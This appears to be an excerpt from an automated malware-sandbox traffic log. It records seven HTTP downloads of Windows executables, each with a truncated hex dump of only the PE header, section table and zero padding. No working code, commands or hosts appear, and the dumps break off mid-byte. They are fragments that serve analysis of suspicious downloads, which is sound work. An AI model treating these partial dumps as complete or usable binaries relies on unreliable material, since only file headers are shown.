Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:52:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:52:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:52:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:52:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:52:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:52:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 18:53:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
